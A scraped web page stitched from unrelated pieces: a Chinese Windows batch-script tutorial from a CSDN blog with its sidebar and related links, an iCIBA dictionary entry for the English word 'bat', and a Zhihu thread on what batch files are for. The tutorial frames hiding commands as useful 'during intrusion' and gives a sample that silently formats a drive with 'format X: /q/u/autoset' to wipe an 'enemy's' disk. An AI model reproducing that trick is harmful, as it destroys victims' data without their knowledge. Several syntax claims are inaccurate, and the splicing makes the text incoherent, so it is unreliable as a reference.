执行以后,屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来(不包括隐藏文件)。

bat命令的使用

  一. 简单批处理内部命令简介        1. Echo 命令

  打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。

  语法

  echo [{on off}] [message]    Sample:@echo off / echo hello world

  在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> )结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

  2. @ 命令

  表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。

  Sample:@echo off    @echo Now initializing the program,please wait a minite...    @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)

  3. Goto 命令

  指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。

  语法:

  goto label (label是参数,指定所要转向的批处理程序中的行。)    Sample:    if {%1}=={} goto noparms    if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)    @Rem check parameters if null show usage    :noparms    echo Usage: monitor.bat ServerIP PortNumber    goto end

  标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

  4. Rem 命令

  注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。

  Rem Message    Sample:@Rem Here is the description.?

   5. Pause 命令

  运行 Pause 命令时,将显示下面的消息:

  Press any key to continue . . .    Sample:    @echo off    :begin    copy a:*.* d:\back    echo Please put a new disk into driver A    pause    goto begin

  在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。

  6. Call 命令

  从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。

  语法

  call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

  参数

  [Drive:}[Path] FileName

  指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

  7. start 命令

  调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。

  入侵常用参数:

  MIN 开始时窗口最小化    SEPARATE 在分开的空间内开始 16 位 Windows 程序    HIGH 在 HIGH 优先级类别开始应用程序    REALTIME 在 REALTIME 优先级类别开始应用程序    WAIT 启动应用程序并等候它结束    parameters 这些为传送到命令/程序的参数

  执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。

  8. choice 命令   #这一个命令还不会用,上网再找找资料#

  choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……

  如: choice /c:dme defrag,mem,end

  将显示

  defrag,mem,end[D,M,E]?    Sample:    Sample.bat的内容如下:    @echo off    choice /c:dme defrag,mem,end

(31条消息) BAT脚本编写教程(比较易懂和全面)_happydecai的博客-CSDN博客_bat教程

优惠劵

致守

关注

关注

60

点赞

323

收藏

觉得还不错?

一键收藏

知道了

2

评论

BAT脚本编写教程(比较易懂和全面)

作者不详。敬意!echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。echo 表示显示此命令后的字符echo off 表示在此语句后所有运行的命令都不显示命令行本身@与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。p...

复制链接

扫一扫

专栏目录

BAT 批处理脚本教程

03-30

BAT 批处理脚本教程

bat的一些经典代码,学习必备!

01-20

来自cndos和批处理之家,代码都很经典。是学习批处理程序不可或缺的工具!

2 条评论

您还未登录,请先

登录

后发表或查看评论

BAT文件编写语法和技巧

03-10

BAT文件编写语法和技巧

BAT脚本编写教程(比较易懂和全面).pdf

10-12

BAT脚本编写教程

BAT编程简明教程.rar_BAT编程简明教程_bat脚本

09-21

Windows下详细 BAT脚本教程,适用于脚本入门者。

深入了解 Bat 脚本:简单而强大的自动化工具——基础版

最新发布

Kuangtian的博客

11-20

616

Bat脚本是指批处理脚本(Batch Script),也可以简称为批处理或批处理文件。它是一种运行在Windows操作系统上的脚本文件,使用扩展名为.bat。Bat脚本是一种文本文件,其中包含了一系列的命令和指令,按照顺序执行。它使用了简单的命令语法,可以用于执行多个命令或操作的批处理任务。

BAT脚本编写教程

08-19

echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。

bat批处理脚本语法学习

dongxing515的博客

06-09

5711

bat批处理脚本语法学习

【最全的】BAT 批处理脚本教程

热门推荐

木牛的博客

09-13

1万+

第一章 批处理基础第一节 常用批处理内部命令简介

批处理定义:顾名思义,批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BAT或者CMD。这些命令统称批处理命令。

小知识:可以在键盘上按下Ctrl+C组合键来强行终止一个批处理的执行过程。

了解了大概意思后,我们正式开始学习.先看一个简单的例子!

@echo off

echo "欢迎来到非常BAT!"

pause

把上面的3条命令保存为文件test.bat或者test.cmd然后执行,

他就会在屏幕上显示以下二行话:

欢迎来到非常B

Bat脚本学习

iampeijiao的博客

08-12

5060

一,基础语法

@echo 窗口设置:mode con cols=80 lines=30

color 0a

@echo 精简输出

@echo off

@echo 资源管理器中打开D盘:

start explorer d:\

@echo 变量赋值与显示(注意空格)

set name=alex

set word=My name is %name% .

echo 最终字符串:%word%

@echo 新建文件

echo 我会写入文件1中>test1.txt

echo 我会写入文件2中>test2

bat脚本编写教程

12-06

windows下编写脚本的教程。有用,推荐

BAT 脚本编写教程

04-07

echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。 echo 表示显示此命令后的字符 echo off 表示在此语句后所有运行的命令都不显示命令行本身 ...

window BAT脚本编写教程

07-21

BAT脚本编写教程 简单的bat脚本命令及使用

bat脚本编写

10-08

echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,从他们开始学起。

Windows中编写脚本BAT批处理命令入门.pdf

03-19

Windows中编写脚本BAT批处理命令入门.pdf

psftp工具bat脚本编写使用

03-26

windows 下 上传,下载 工具,psftp工具bat脚本编写使用

快速解压和压缩rar文件【bat脚本】

07-20

电脑已安装rar.exe程序 内含解压rar文件和压缩rar文件的bat脚本及使用说明 使用简单 建议直接存在桌面进行解压和压缩操作,只需要修改rar文件名即可

bat脚本编写教程菜鸟

06-28

### 回答1:

对于一个新手来说,学习BAT脚本编写可能会显得有些困难,但只要按照以下几个步骤,就可以完成初步的学习:

第一步,了解BAT脚本的基本知识。BAT文件是一种批处理文件,它可以自动执行一系列的命令,这些命令可以简化许多日常工作的操作。BAT文件中可以包含各种命令,例如:echo、dir、copy、md等等,这些命令都是DOS系统中原有的命令。

第二步,学习BAT脚本的语法。BAT脚本有着自己的语法规则,新手需要学习如何编写语法正确的脚本。例如,每行命令要以“@echo off”作为开始,表示关闭显示命令,同时标志着本脚本为BAT文件。

第三步,了解BAT脚本的常用命令。BAT脚本有很多常用命令,例如:echo命令用于输出文本消息,rem命令用于添加注释,if命令用于条件判断,set命令用于定义变量等等。学习这些常用命令是BAT脚本编写的基础。

第四步,使用BAT脚本解决实际问题。学习BAT脚本后,新手可以试着使用BAT脚本解决一些实际问题,例如,制作自动备份脚本、自动清理垃圾文件脚本等等。

总之,学习BAT脚本需要耐心和学习的毅力,只要按照以上几点进行学习,就可以成为一个BAT脚本编写的初学者。

### 回答2:

BAT脚本是一种批处理脚本,它可以在Windows平台下执行多个命令或一个复杂的算法,这对于喜欢用命令行的管理员或需要批量执行任务的用户非常有用。

编写BAT脚本,需要以下几个步骤:

1. 在文本编辑器(如记事本)中新建一个文件,后缀名为.bat。文件名可以任意起,只要后缀名是.bat就行。

2. 在文件的开头,用@echo off命令关闭脚本的输出信息。如果没有这个命令,脚本执行时会把每个命令的输出都显示在屏幕上,很不方便。

3. 根据需要编写多个命令,每个命令占一行。命令可以是Windows自带的命令(如dir、cd等),也可以是其他应用程序的命令(如ping、xcopy等)。

4. 可以使用变量来存储和处理数据,使用for循环和if语句来实现逻辑控制。

以下是一个简单的例子,演示了如何使用BAT脚本创建一个目录、移动文件和删除文件:

@echo off

REM 创建目录

mkdir mydir

REM 移动文件

move *.txt mydir

REM 删除文件

del *.bak

5. 保存文件,并双击运行bat文件,或者在命令行窗口中进入脚本所在目录,执行.bat文件即可。

以上是BAT脚本编写教程的简介。BAT脚本虽然功能比较简单,但也有很多灵活、高级的应用场景。如果想深入学习BAT脚本编写,可以参考一些高级教程或者参与BAT脚本编写的论坛、社群,获取更多的经验和技巧。

### 回答3:

Bat脚本是Windows上的一种脚本语言,用于自动化执行一些操作和任务。Bat脚本通常以“.bat”或“.cmd”文件扩展名结尾,它是基于批处理文件的一种脚本语言。Bat脚本是一种非常方便的自动化工具,几乎可以完成任何的命令行操作和Windows管理操作。

在编写Bat脚本之前,我们需要掌握基本的编程知识以及Windows一些基本的命令行操作。以下是一些基本的编写Bat脚本的步骤:

1. 打开记事本或任何您喜欢的文本编辑器,在文件中输入您要执行的命令或任务。例如:echo "Hello World!"表示打印“Hello World!”在输出窗口上。

2. 将文件保存为以“.bat”或“.cmd”结尾的文件,然后单击“保存”。

3. 双击新创建的.bat文件,它将打开一个命令行窗口并执行您编写的命令或任务。您也可以使用命令行或任务计划程序定期执行您的.bat文件。

现在让我们探讨一些更复杂的Bat脚本编写技巧。例如:

1. Bat脚本可以包含循环,if语句和不同的变量类型。这些语法规则与其他编程语言类似。

2. 使用set命令来创建和分配变量。例如,set myvar = hello,其中“myvar”是变量名,“hello”是变量值。您可以使用%myvar%来访问变量的值。

3. 使用echo命令来在输出窗口中打印消息或变量值。例如,echo %myvar%表示在输出窗口中打印变量的值。

4. 使用if语句来执行条件语句。例如,if %myvar%== hello (echo "Equal") else (echo "Not equal")表示如果变量myvar等于“hello”,则输出“Equal”否则输出“Not equal”。

总之,Bat脚本是一种非常实用和方便的工具,可以自动化执行许多常用的命令行操作和Windows管理操作。学习Bat脚本编程可以大大提高我们的工作效率。希望以上介绍对Bat脚本初学者有帮助。

“相关推荐”对你有帮助么?

非常没帮助

没帮助

一般

有帮助

非常有帮助

提交

致守

CSDN认证博客专家

CSDN认证企业博客

码龄13年

暂无认证

19

原创

1345

周排名

4万+

总排名

411万+

访问

等级

1万+

积分

1万+

粉丝

2197

获赞

277

评论

1万+

收藏

私信

关注

热门文章

中文乱码在线恢复网站

300728

C语言详解 FILE文件操作

198061

MySQL数据库改名的三种方法

141590

wifi提速技巧:十大方法瞬间提升wifi速度

87931

虚拟机怎么安装vmware tools

81535

分类专栏

硬件

3篇

stm32

45篇

bat&cmd

42篇

fatfs

48篇

hardware

2篇

mysql

47篇

Computer Graphics

2篇

vm

1篇

planning

10篇

lua

4篇

API

1篇

ErrorCode

1篇

image processing

1篇

openTCS

2篇

CrossPlatform

1篇

链接库

19篇

dwin

1篇

Linux

274篇

AutoCAD

3篇

QT

68篇

c++

197篇

c

136篇

c++/CLI

50篇

Serialization

12篇

Virtual Machine

8篇

Algorithm

64篇

SLAM

4篇

CAN

54篇

android

21篇

无线

10篇

network

170篇

USB

10篇

Database

27篇

Software Framework

4篇

Java

3篇

SQLite

7篇

ssh

7篇

软件测试

2篇

其他

59篇

UML

2篇

python

20篇

SVM

7篇

RTOS

5篇

MessageQueue

26篇

Laser Navigation

1篇

调度

7篇

专利

2篇

Data Structure

5篇

Makefile

23篇

图论

9篇

IDE

13篇

git

10篇

最新评论

Linux中fuser命令用法详解

CSDN-Ada助手:

推荐 CS入门 技能树:https://edu.csdn.net/skill/gml?utm_source=AI_act_gml

速度规划(梯形、余弦、多项式、7段S型、7段修正S型、15段S型、31段S型)

2301_81537150:

博主您好 请问可以加个联系方式吗 有偿求取代码

CAN通信标准帧和扩展帧(全网最透彻解答)

白小白_:

请问这贴事原贴么,如果是的话,我有点疑问,就是11开头的11个字节是什么 一个数据帧-标准帧的 一共不就44 +8n位 所以11个字节指的是什么位置的啊

基于 UDP 的 组播、广播详解

影362:

讲的很细致,感谢

玩转CODESYS 入门篇(一)-- 认识CODESYS

qq_44319402:

您好,请问能请假一下设备描述文件编写相关的知识吗

最新文章

libmodbus官方手册中文翻译

socketpair机制

Windows C++中__declspec(dllexport)的使用

2024

03月

25篇

02月

5篇

01月

30篇

2023年183篇

2022年293篇

2021年316篇

2020年139篇

2019年51篇

2018年95篇

2017年169篇

目录

目录

分类专栏

硬件

3篇

stm32

45篇

bat&cmd

42篇

fatfs

48篇

hardware

2篇

mysql

47篇

Computer Graphics

2篇

vm

1篇

planning

10篇

lua

4篇

API

1篇

ErrorCode

1篇

image processing

1篇

openTCS

2篇

CrossPlatform

1篇

链接库

19篇

dwin

1篇

Linux

274篇

AutoCAD

3篇

QT

68篇

c++

197篇

c

136篇

c++/CLI

50篇

Serialization

12篇

Virtual Machine

8篇

Algorithm

64篇

SLAM

4篇

CAN

54篇

android

21篇

无线

10篇

network

170篇

USB

10篇

Database

27篇

Software Framework

4篇

Java

3篇

SQLite

7篇

ssh

7篇

软件测试

2篇

其他

59篇

UML

2篇

python

20篇

SVM

7篇

RTOS

5篇

MessageQueue

26篇

Laser Navigation

1篇

调度

7篇

专利

2篇

Data Structure

5篇

Makefile

23篇

图论

9篇

IDE

13篇

git

10篇

目录

评论 2

被折叠的  条评论

为什么被折叠?

到【灌水乐园】发言

查看更多评论

添加红包

祝福语

请填写红包祝福语或标题

红包数量

红包个数最小为10个

红包总金额

红包金额最低5元

余额支付

当前余额3.43元

前往充值 >

需支付:10.00元

取消

确定

下一步

知道了

成就一亿技术人!

领取后你会自动成为博主和红包主的粉丝

规则

hope_wisdom 发出的红包

实付元

使用余额支付

点击重新获取

扫码支付

钱包余额

0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。 2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值

bat是什么意思_bat的翻译_音标_读音_用法_例句_爱词霸在线词典

什么意思_bat的翻译_音标_读音_用法_例句_爱词霸在线词典首页翻译背单词写作校对词霸下载用户反馈专栏平台登录bat是什么意思_bat用英语怎么说_bat的翻译_bat翻译成_bat的中文意思_bat怎么读,bat的读音,bat的用法,bat的例句翻译人工翻译试试人工翻译翻译全文简明柯林斯牛津bat高中/CET4/CET6英 [bæt]美 [bæt]释义n.球棒,球拍; 蝙蝠v.用球棒击球; 轮到击球大小写变形:BatBAT点击 人工翻译,了解更多 人工释义词态变化复数: bats;第三人称单数: bats;过去式: batted;过去分词: batted;现在分词: batting;实用场景例句全部蝙蝠球棒球拍打击用球棒击球a baseball/cricket bat棒球球棒;板球球板牛津词典He bats very well.他擅长击球。牛津词典Who's batting first for the Orioles?谁代表金莺队第一个出场击球?牛津词典She didn't bat an eyelid when I told her my news.我把我最近的事告诉她时,她一点也不为所动。牛津词典It's just an idea we've been batting around.这只不过是我们一直在讨论的一种想法。牛津词典...a baseball bat.棒球球棒柯林斯高阶英语词典Australia, put in to bat, made a cautious start.轮到澳大利亚队出场击球,他们开始打得很谨慎。柯林斯高阶英语词典The old judge doesn't like the thought of no one going in to bat for the accused.老法官不希望没有人为被告辩护。柯林斯高阶英语词典He took off for Helsinki like a bat out of hell.他飞快赶往赫尔辛基。柯林斯高阶英语词典Whatever she did she did off her own bat. Whatever she did was nothing to do with me.她所做的一切都是她自己主动要做的。她做的任何事都与我无关。柯林斯高阶英语词典He learned right off the bat that you can't count on anything in this business.他立刻明白在这一行业中不能依靠任何东西。柯林斯高阶英语词典The boy traded his knife for a baseball bat.那个男孩用一把小刀换了一个棒球棍.辞典例句The thugs beat him senseless with a baseball bat.暴徒用棒球棒把他打得失去了知觉.《简明英汉词典》This country was able to win the war off its own bat.这个国家能依靠自己的力量打赢这场战争.《简明英汉词典》He will the first one to bat at the top of the inning.他将是上半局比赛中第一个击球的棒球手.期刊摘选Mr Zephyr didn't bat an eye.西风先生一点也不感到惊奇.辞典例句And then my wife went upstairs and discovered the bat.接著我老婆走上楼时,就发现了那只蝙蝠.期刊摘选She made the suggestions off her own bat , ie without being asked for them.她提这些建议完全是她自己的意思.辞典例句Bat the tattoo made him a famous man in his village.但是,他身上所刺的花使他变成了全村的名人.教父部分Gail didn't bat an eyelid when Mark told her that he had crashed the car.马克对盖尔说他把汽车撞坏了,她听了竟一点反应也没有.期刊摘选A swindler fears the truth; the bat dreads the sun.骗子害怕真理, 蝙蝠怕见太阳.期刊摘选The bat met the ball squarely.球棒正好打中棒球.期刊摘选He won't go to bat for me either.他也不会支持我的.辞典例句The boy traded his knife for a cricket bat.那男孩用他的刀子换了一个板球棒.《现代汉英综合大词典》Ther other boys coveted his new bat.其他的男孩都想得到他的新球棒.《简明英汉词典》收起实用场景例句真题例句全部高考The girls on the wesleyan academy softball were waiting for their next turns at bat during practice, stamping their feet to stay warm, eighth-grader Taylor bisbee shivered a little as she watched her teammate Paris white play.2017年高考英语北京卷 阅读理解 阅读A 原文收起真题例句英英释义Noun1. nocturnal mouselike mammal with forelimbs modified to form membranous wings and anatomical adaptations for echolocation by which they navigate2. (baseball) a turn batting;"he was at bat when it happened""he got 4 hits in 4 at-bats"3. a small racket with a long handle used for playing squash4. a bat used in playing cricket5. a club used for hitting a ball in various gamesVerb1. strike with, or as if with a baseball bat;"bat the ball"2. wink briefly;"bat one's eyelids"3. have a turn at bat;"Jones bats first, followed by Martinez"4. use a bat;"Who's batting?"5. beat thoroughly in a competition or fight;"We licked the other team on Sunday!"收起英英释义词根词缀词根: bat=beat,表示"打,击"n.bat 球棒bat打,击→n.球棒;v.打,击baton 指挥棒,警棍bat打,击+on表名词→n.指挥棒,警棍battalion 营;[常bat打,击+alion表名词→battalion→打的[队伍]→部队的营batter 牛奶面糊;击球员bat打,击+er反复做→batter接连重击battle 战役,战斗;斗争 bat打,击+tle表动词→n.战役,战斗;斗争 v.战斗,斗争,搏斗rebate 折扣,回扣re回+bat打,击+e→打回去的[东西]→回扣n.&v.combat 战斗,搏斗,格斗com共同+bat打,击→共同打→战斗debate 争论,辩论de加强+bat打,击+e→加强打击→反驳,辩论v.abate 减轻,降低a不+bat打,击+e→不再打击→减轻[痛苦]等bat 打,击bat打,击→n.球棒;v.打,击batter 接连重击;磨损 bat打,击+er反复做→batter接连重击battle 战斗,斗争,搏斗bat打,击+tle表动词→n.战役,战斗;斗争 v.战斗,斗争,搏斗词组搭配off one's own bat(Brit.)at one's own instigation; spontaneously(英)自发地;主动地right off the bat(N. Amer.)at the very beginning; straight away(北美)一开始;马上have bats in the (或 one's) belfry(informal)be eccentric or mad(非正式)行为乖张;想法荒诞;精神失常like a bat out of hell(informal)very fast and wildly(非正式)飞快地;不顾一切地not bat (或 without batting) an eyelid (或 eye)(informal)show (or showing) no surprise or concern(非正式)连眼睛也不眨一眨;毫不惊讶;毫不在意she paid the bill without batting an eyelid.她毫不在意地付了账。bat around (或 about)(informal, chiefly N. Amer.)travel widely, frequently, or casually(非正式, 主 北美)(在…)漫游;(在…)到处闲逛bat something around (或 about)bat for (或 go to bat for)(informal, chiefly N. Amer.)defend the interests of; support(非正式, 主 北美)维护;支持she turned out to have the law batting for her.最后她得到了法律的支持。at bat&I{【体育运动】}Taking one's turn to bat, as in baseball or cricket.轮到某人击球:轮到某人击球,如在棒球和板球中go to bat forTo give assistance to; defend.防守:给予帮助和援助;防卫off the batWithout hesitation; immediately立即:毫不犹豫地;立即地They responded right off the bat.他们立即作出反应have bats in (one's) belfryTo behave in an eccentric, bizarre manner.行为古怪,举止异常收起词组搭配同义词crackstrikehitcloutknock行业词典体育球棒   旅游蝙蝠   常用俚语the bat外国话You sure do have a mouth full of the bat.你的确是满口外国腔。释义词态变化实用场景例句真题例句英英释义词根词缀词组搭配同义词行业词典常

听说有一门技术叫windows批处理(bat),请问它有什么现实用途? - 知乎

听说有一门技术叫windows批处理(bat),请问它有什么现实用途? - 知乎首页知乎知学堂发现等你来答​切换模式登录/注册Microsoft Windows操作系统Python批处理VBA听说有一门技术叫windows批处理(bat),请问它有什么现实用途?看介绍好像和vba、python类似,比如我作为一个普通人,我可以用vba合成去重excel文件,减少我的工作量。 我可以用python建博客 那么批…显示全部 ​关注者873被浏览715,058关注问题​写回答​邀请回答​好问题 14​16 条评论​分享​135 个回答默认排序Ivony​编程话题下的优秀答主​ 关注哎……下面的答案这都什么妖魔鬼怪批处理,顾名思义就是批量的处理某些任务的东西,bat就是batch的缩写,batch就是批量的意思。这玩意儿和Windows还是CMD啥的都没有半毛钱关系。因为这是DOS的遗留而已,我们都知道,微软是靠做DOS起家的。最早的Windows不过是DOS的一个应用而已。直到Windows 95才升级成为一个操作系统,但本质上还是从DOS实模式引导来的。所以Windows批处理这个名字就极其扯淡。到了Windows 2000之后,原有的DOS内核已经被全部扔掉。但是为了兼容一些在命令行下面比较方便处理的任务,也便于系统运维人员的使用,还有早期DOS用户的迁移。就做了个叫做CMD的玩意儿,本质上CMD就是一个Windows下的应用,支持有限的一些DOS兼容指令完成指定的操作。它甚至都不能叫做shell,因为Windows的shell就是explorer.exe。CMD就是一个可以用来执行特定DOS兼容指令的命令提示符。真正的Shell是PowerShell,那才是一个全功能的CLI,理论上可以访问Windows所有的功能。再后来为了PowerShell可以跨平台使用,微软干脆基于dotnet core做了PowerShell的跨平台版本PowerShell Core。时至今日,BAT的确仍然可以做一些简单的需要批量处理的工作,例如初始化系统,备份文件,安装或者部署应用和软件。但是BAT的能力实在太过于羸弱,并且大部分Windows的应用和功能都不支持CLI,也就无法用BAT来控制。例如最简单的:启用或者禁用系统功能模块,或是修改组策略,变更网络配置等(尽管有部分可以通过WMI或者regedit来曲线救国)。事实上,很多时候WSH(Windows脚本宿主)的能力比BAT要强得多,因为WSH可以使用脚本直接访问COM组件和服务,使用VBScript和JavaScript编写。然而喜欢看花边的那些家伙有几个知道啥叫作COM……这,才是为啥那个CMD这么多年不更新的原因,因为微软内部IT专业人员的批处理要么用脚本(比如说那个著名的slmgr.vbs),要么直接组策略下发……无论如何,这些都是过时的技术了。本质上.NET就是COM技术的迭代。PowerShell就是更强大的WSH。微软的思路是一脉相承的,这个思路并没有什么问题。也不是无脑黑们所YY的那样……如果只知道无脑黑微软,而不知道从历史中学到知识,我看很多技术迟早要重新再发明一次,然后换个新的名字出来忽悠人……编辑于 2024-01-20 01:37​赞同 489​​25 条评论​分享​收藏​喜欢收起​NaHCO3​ 关注本质是shell脚本如果从头开始学的话不如直接学powershell,好用很多发布于 2022-08-04 18:34​赞同 74​​11 条评论​分享​收藏​喜欢